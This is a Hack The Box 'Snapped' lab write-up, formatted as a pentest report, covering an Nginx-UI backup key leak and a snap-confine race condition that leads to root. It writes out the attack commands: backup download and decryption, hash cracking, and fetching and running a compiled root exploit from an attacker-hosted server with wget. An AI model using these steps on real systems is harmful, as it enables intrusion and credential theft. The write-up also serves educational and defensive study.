Snapped:HTB
Executive Summary
This engagement was conducted within the approved scope of the Hack The Box “Snapped” machine. The objective of the assessment was to identify vulnerabilities, obtain user-level access, escalate privileges to root, and document all successful exploitation paths. The assessment successfully identified two major vulnerabilities: CVE-2026-27944 affecting Nginx-UI and CVE-2026-3888 affecting snapd/snap-confine.
Initial access was obtained through an unauthenticated Nginx-UI backup endpoint that exposed encrypted backup archives and the corresponding AES decryption material within HTTP response headers. The backup archives contained configuration files and a SQLite database which exposed password hashes for valid users. Weak credentials were successfully cracked offline, resulting in authenticated SSH access as the user jonathan.
Privilege escalation to root was achieved through a TOCTOU (Time-of-Check to Time-of-Use) race condition vulnerability in snapd. The vulnerable configuration relied on automatic cleanup of stale directories in /tmp by systemd-tmpfiles, allowing controlled recreation of a snap private temporary directory. A malicious shared library was then loaded through the SUID-root snap-confine process, resulting in full root compromise.
Approach
This engagement followed a black-box assessment methodology. Enumeration began with network discovery, service identification, virtual host enumeration, and web application reconnaissance. Publicly available exploit research and CVE analysis were utilized to identify vulnerable software versions.
Successful exploitation relied on extracting sensitive backup data from Nginx-UI, decrypting archived data using exposed AES keying material, recovering password hashes, and performing offline password cracking. Following successful authentication, local privilege escalation enumeration identified a vulnerable snapd implementation which was exploited through a race condition affecting snap-confine and systemd-tmpfiles.
No evasive techniques were utilized during this engagement.
Assessment Scope
The approved scope included:
- Hack The Box Machine: Snapped
- Target IP: 10.129.6.132
- Virtual Hosts: snapped.htb, admin.snapped.htb
- Services: HTTP (80), SSH (22)
The primary tool set used during the assessment included:
- curl
- FFUF
- gcc
- Hashcat
- John The Ripper
- Nmap
- OpenSSL
- Python HTTP Server
- SQLite3
- wget
- WhatWeb
- WFuzz
Assessment Overview and Recommendations
The assessment identified two high-risk vulnerabilities which allowed complete compromise of the target system.
The first vulnerability, CVE-2026-27944, allowed unauthenticated access to Nginx-UI backup archives. The endpoint not only exposed sensitive configuration data and databases, but also leaked the AES decryption material necessary to decrypt the archives. This resulted in credential disclosure and user-level access.
The second vulnerability, CVE-2026-3888, affected snapd and the SUID-root snap-confine binary. The vulnerable implementation allowed a local attacker to exploit a race condition between snap-confine and systemd-tmpfiles cleanup operations, resulting in arbitrary code execution as root.
Immediate remediation should include upgrading Nginx-UI beyond version 2.3.2, patching snapd to a non-vulnerable version, limiting exposure of management interfaces, enforcing strong password policies, and reducing reliance on world-writable temporary directory operations.
Primary Vulnerabilites and Weaknesses
CVE-2026-27944 – Nginx-UI Backup Exposure
Nginx-UI version 2.3.2 exposed the /api/backup endpoint without authentication. The endpoint returned encrypted backup archives along with the AES decryption key and IV in the X-Backup-Security HTTP header. This allowed attackers to decrypt backups, extract SQLite databases, recover password hashes, and gain authenticated access.
CVE-2026-3888 – snap-confine TOCTOU Race Condition
A local privilege escalation vulnerability existed within snapd and snap-confine. The vulnerability relied on a race condition between snap-confine and systemd-tmpfiles cleanup operations. An attacker could recreate a deleted snap temporary directory with attacker-controlled contents and exploit the bind-mount process to hijack library loading within a SUID-root context.
Weak Password Policy
Password hashes recovered from the SQLite database were susceptible to dictionary attacks using publicly available wordlists. This resulted in rapid credential recovery.
Mitigation Recommendations
- Upgrade Nginx-UI to version 2.3.3 or newer.
- Restrict access to administrative interfaces using firewall rules, VPN access, or reverse proxy authentication.
- Disable or harden unauthenticated backup endpoints.
- Never expose encryption keys or IVs within HTTP response headers.
- Implement strong password complexity and password reuse prevention policies.
- Enable multi-factor authentication for administrative accounts.
- Patch snapd to a non-vulnerable version.
- Audit SUID-root binaries and remove unnecessary SUID permissions where possible.
- Review and harden
systemd-tmpfilescleanup policies. - Monitor for abnormal manipulation of
/tmpand snap private directories.
Walkthrough
Enumeration Steps
Initial enumeration was conducted using Nmap.
nmap -sC -sV -Pn targetIP
Results identified the following services:
- 22/tcp – OpenSSH 9.6p1 Ubuntu
- 80/tcp – nginx 1.24.0
http://snapped.htb, requiring an update to the local hosts file.
whatweb http://snapped.htb
WhatWeb confirmed the target was utilizing NGINX 1.24.0.
Virtual host fuzzing was performed to identify hidden subdomains.
wfuzz -u http://10.129.6.132/ -H "Host: FUZZ.snapped.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hw 10 -t 5
A hidden administrative subdomain was discovered:
admin.snapped.htb
File and directory fuzzing was then conducted against the administrative panel.
ffuf -u http://admin.snapped.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 300 -fs 3142
The following directories were identified:
- /assets
- /mcp
Inspection of version-related files identified the platform as Nginx-UI version 2.3.2.
Environment Overview
| Network | CIDR | Description |
|---|---|---|
| Hack The Box VPN | 10.129.0.0/16 | Lab environment used for offensive security testing and exploitation. |
Vulnerability Analysis
Risk Summary
| Severity | Count | Details |
|---|---|---|
| Critical | 1 | CVE-2026-27944 - Nginx-UI Backup Exposure |
| High | 1 | CVE-2026-3888 - snap-confine TOCTOU Privilege Escalation |
| Medium | 1 | Weak Password Policy |
| Low | 0 | |
| Informational | 1 | Administrative interface exposure |
Research into Nginx-UI version 2.3.2 identified CVE-2026-27944. The vulnerability allowed unauthenticated access to the backup API endpoint.
curl -i http://admin.snapped.htb/api/backup
The response exposed backup archives along with the AES decryption material through the X-Backup-Security HTTP header.
X-Backup-Security: PMt0pa9zcdB1/yF6dw2x2d5JyGyjKZrK9GIgb/BDdV0=:Nqk/pvwryV23IpNgvnJK5A==
The API directory was fuzzed to identify additional functionality.
ffuf -u http://admin.snapped.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0
Exposed endpoints included:
- /backup
- /configs
- /settings
- /users
- /sites
Exploitation
The backup archive was downloaded directly from the vulnerable endpoint.
curl -v http://admin.snapped.htb/api/backup -o backup.enc
The archive contained encrypted files.
unzip -l backup.enc
hash_info.txt
nginx-ui.zip
nginx.zip
AES keying material was extracted from the response header and converted into hexadecimal format.
KEY=$(echo 'PMt0pa9zcdB1/yF6dw2x2d5JyGyjKZrK9GIgb/BDdV0=' | base64 -d | xxd -p -c 256)
IV=$(echo 'Nqk/pvwryV23IpNgvnJK5A==' | base64 -d | xxd -p -c 256)
Backup metadata was decrypted using OpenSSL.
openssl enc -aes-256-cbc -d -K "$KEY" -iv "$IV" -in hash_info.txt -out hash_info.dec
The resulting metadata confirmed the vulnerable Nginx-UI version:
version: 2.3.2
The encrypted archives were then successfully decrypted.
openssl enc -aes-256-cbc -d -nosalt -K "$KEY" -iv "$IV" -in nginx-ui.zip -out nginx-ui.dec.zip
unzip nginx-ui.dec.zip -d nginx-ui
The decrypted archive exposed the SQLite database database.db and the configuration file app.ini.
User hashes were extracted from the database.
sqlite3 nginx-ui/database.db "SELECT * FROM users;"
Password hashes for the users admin and jonathan were successfully recovered.
Offline password cracking was conducted using John The Ripper.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
The password for the user jonathan was successfully recovered. Password values are intentionally redacted within this report.
The credentials were validated through both the Nginx-UI login panel and SSH.
ssh jonathan@snapped.htb
User-level access was obtained successfully. The user flag was located within the compromised user's home directory.
Privilege Escalation
Local system enumeration identified Ubuntu 24.04.4 LTS and snapd version 2.63.1+24.04.
snap version
Enumeration of SUID binaries identified snap-confine running with root privileges.
find / -perm -4000 -type f 2>/dev/null
/usr/lib/snapd/snap-confine
Public research identified CVE-2026-3888 as applicable to the installed snapd version.
systemctl status systemd-tmpfiles-clean.timer
The timer confirmed automatic cleanup of temporary directories.
cat /usr/lib/tmpfiles.d/tmp.conf
D /tmp 1777 root root 4m
Testing confirmed stale directories within /tmp were automatically deleted and could then be recreated with attacker ownership.
mkdir -p /tmp/snap-private-tmp/snap.test-app/tmp
A public exploit implementation targeting CVE-2026-3888 was compiled on the Kali system and transferred to the target.
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
python3 -m http.server 8000
wget http://kaliip:8000/exploit
wget http://kaliip:8000/librootshell.so
The exploit was executed successfully.
chmod +x exploit
./exploit librootshell.so
Root privileges were obtained successfully. The root flag was located within the root user's home directory.
User Accounts:
| User | Account Type | Account Weakness |
|---|---|---|
| jonathan | Standard User | Weak password recovered through offline cracking of exposed bcrypt hash. |
| root | Administrative | Compromised through vulnerable SUID snap-confine implementation. |
Post-Exploitation
Post-exploitation activities identified exposed JWT secrets, cryptographic secrets, configuration files, internal Nginx configurations, and administrative application settings within the decrypted backup archives. Password hashes were successfully extracted from the SQLite database and leveraged for authenticated access. Full root compromise provided unrestricted access to the underlying operating system, including all application data, user data, and service configurations.
Final Assessment
The Snapped environment was successfully compromised through a chained exploitation path involving vulnerable web application functionality and a local privilege escalation vulnerability in snapd. The engagement demonstrated the dangers of exposed management interfaces, improper authentication controls, weak credential policies, and unsafe temporary directory handling in privileged processes.
Successful exploitation resulted in complete system compromise, including user-level and root-level access.
Lessons Learned
This engagement reinforced the importance of thorough enumeration, version analysis, and backup handling security. The assessment demonstrated how exposed administrative functionality combined with weak credential policies can rapidly lead to full compromise.
Additional lessons included practical exploitation of AES-encrypted backup archives, offline hash cracking workflows, identification of vulnerable SUID binaries, and analysis of TOCTOU race conditions involving systemd-tmpfiles and snap-confine.
References
Hack The Box - Snapped
NVD - CVE-2026-27944
Nginx-UI Advisory
CVE-2026-27944 Proof of Concept
NVD - CVE-2026-3888
CVE-2026-3888 Exploit Reference
Confidentiality Notice & Disclaimer
The contents of this document are authored by Anthony Alonso and constitute proprietary and confidential information. This material is intended solely for its designated purpose and may not be copied, released, shared, published, or distributed, in whole or in part, without explicit written consent.
Limitation of Liability & Educational Use
The information and mitigation steps provided herein are intended strictly for educational and informational purposes and do not constitute legal or professional advice. Any implementation of the recommended fixes, tools, or methods is undertaken entirely at your own risk. The author assumes no liability for any direct, indirect, or consequential damages, system disruptions, or data loss resulting from the use or misuse of this material.
Authorized Use Only
The tools, methods, and actions outlined in this document must only be executed within an authorized scope and with explicit, written permission from the respective network, system, and asset owners. These guides must not be utilized for any malicious activities or unauthorized exploitation.